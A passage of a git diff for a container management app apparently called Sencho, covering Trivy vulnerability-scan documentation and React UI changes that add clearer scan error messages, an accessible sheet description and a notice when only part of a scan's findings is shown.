the UI always recovers on its own. Wait for the sweep to run, then click the shield icon again to start a fresh scan. + +### Trivy is not detected after installing it + +Sencho re-checks for the Trivy binary every ten minutes from the scheduler. Install Trivy on the host, wait for the next window, and the scanning UI lights up automatically. + +### Collecting diagnostic logs for support + +Enable **Developer Mode** under **Settings → Developer** and trigger the failing scan again. The backend logs verbose `[Trivy:diag]` entries covering detection timing, cache hits, Trivy invocation, and parse statistics. Attach these lines when filing a support issue. Turn Developer Mode off once you have captured the output. + +### Post-deploy scan failure notifications + +When a post-deploy scan fails for a specific image (for example because Trivy could not resolve a private registry pull), Sencho dispatches a warning-level alert through your configured notification channels. The deploy itself is never blocked by a scan failure. diff --git a/docs/operations/trivy-setup.mdx b/docs/operations/trivy-setup.mdx index 8a086927..95b8bc4f 100644 --- a/docs/operations/trivy-setup.mdx +++ b/docs/operations/trivy-setup.mdx @@ -150,6 +150,10 @@ After restarting Sencho with the mount in place: If the shield icon is missing, see the troubleshooting section below. +### Runtime detection + +Sencho re-runs the `trivy --version` check every ten minutes from the background scheduler. You can install Trivy on a running host and scanning will light up on its own within that window. If the binary becomes unavailable at runtime, the UI hides itself in the same way. + ## Troubleshooting ### Sencho does not detect Trivy diff --git a/frontend/src/components/ResourcesView.tsx b/frontend/src/components/ResourcesView.tsx index 20733764..951af7a3 100644 --- a/frontend/src/components/ResourcesView.tsx +++ b/frontend/src/components/ResourcesView.tsx @@ -623,8 +623,8 @@ export default function ResourcesView() { } throw new Error('Scan timed out'); } catch (error) { - const err = error as { message?: string }; - toast.error(err?.message || 'Scan failed'); + const err = error as { message?: string; error?: string; data?: { error?: string } }; + toast.error(err?.message || err?.error || err?.data?.error || 'Scan failed'); } finally { toast.dismiss(loadingId); setScanningImageRef(null); diff --git a/frontend/src/components/VulnerabilityScanSheet.tsx b/frontend/src/components/VulnerabilityScanSheet.tsx index 1cdfbb35..91e14808 100644 --- a/frontend/src/components/VulnerabilityScanSheet.tsx +++ b/frontend/src/components/VulnerabilityScanSheet.tsx @@ -1,5 +1,5 @@ import { useCallback, useEffect, useMemo, useState } from 'react'; -import { Sheet, SheetContent, SheetHeader, SheetTitle } from '@/components/ui/sheet'; +import { Sheet, SheetContent, SheetDescription, SheetHeader, SheetTitle } from '@/components/ui/sheet'; import { ScrollArea } from '@/components/ui/scroll-area'; import { Button } from '@/components/ui/button'; import { @@ -75,18 +75,21 @@ export function VulnerabilityScanSheet({ }: VulnerabilityScanSheetProps) { const [scan, setScan] = useState(null); const [details, setDetails] = useState([]); + const [totalDetails, setTotalDetails] = useState(0); const [loading, setLoading] = useState(false); const [severityFilter, setSeverityFilter] = useState('ALL'); const [page, setPage] = useState(0); const [downloadingSbom, setDownloadingSbom] = useState(false); + const DETAIL_FETCH_LIMIT = 500; + const load = useCallback(async () => { if (scanId == null) return; setLoading(true); try { const [scanRes, detailsRes] = await Promise.all([ apiFetch(`/security/scans/${scanId}`), - apiFetch(`/security/scans/${scanId}/vulnerabilities?limit=500`), + apiFetch(`/security/scans/${scanId}/vulnerabilities?limit=${DETAIL_FETCH_LIMIT}`), ]); if (!scanRes.ok) throw new Error('Failed to fetch scan'); if (!detailsRes.ok) throw new Error('Failed to fetch vulnerabilities'); @@ -94,6 +97,7 @@ export function VulnerabilityScanSheet({ const detailsData = await detailsRes.json(); setScan(scanData); setDetails(Array.isArray(detailsData.items) ? detailsData.items : []); + setTotalDetails(typeof detailsData.total === 'number' ? detailsData.total : 0); setPage(0); } catch (err) { toast.error((err as Error)?.message || 'Failed to load scan'); @@ -107,6 +111,7 @@ export function VulnerabilityScanSheet({ else { setScan(null); setDetails([]); + setTotalDetails(0); setSeverityFilter('ALL'); setPage(0); } @@ -191,6 +196,11 @@ export function VulnerabilityScanSheet({ {scan?.image_ref ?? 'Loading...'} + + {scan + ? `Vulnerability scan results for ${scan.image_ref}: ${scan.total_vulnerabilities} total findings.` + : 'Vulnerability scan details.'} + {loading && !scan && ( @@ -336,6 +346,12 @@ export function VulnerabilityScanSheet({ )} + {totalDetails > details.length && ( +
+ Showing first {details.length} of {totalDetails}. Export CSV for the complete list. +
+ )} +
{pageItems.length === 0 ? (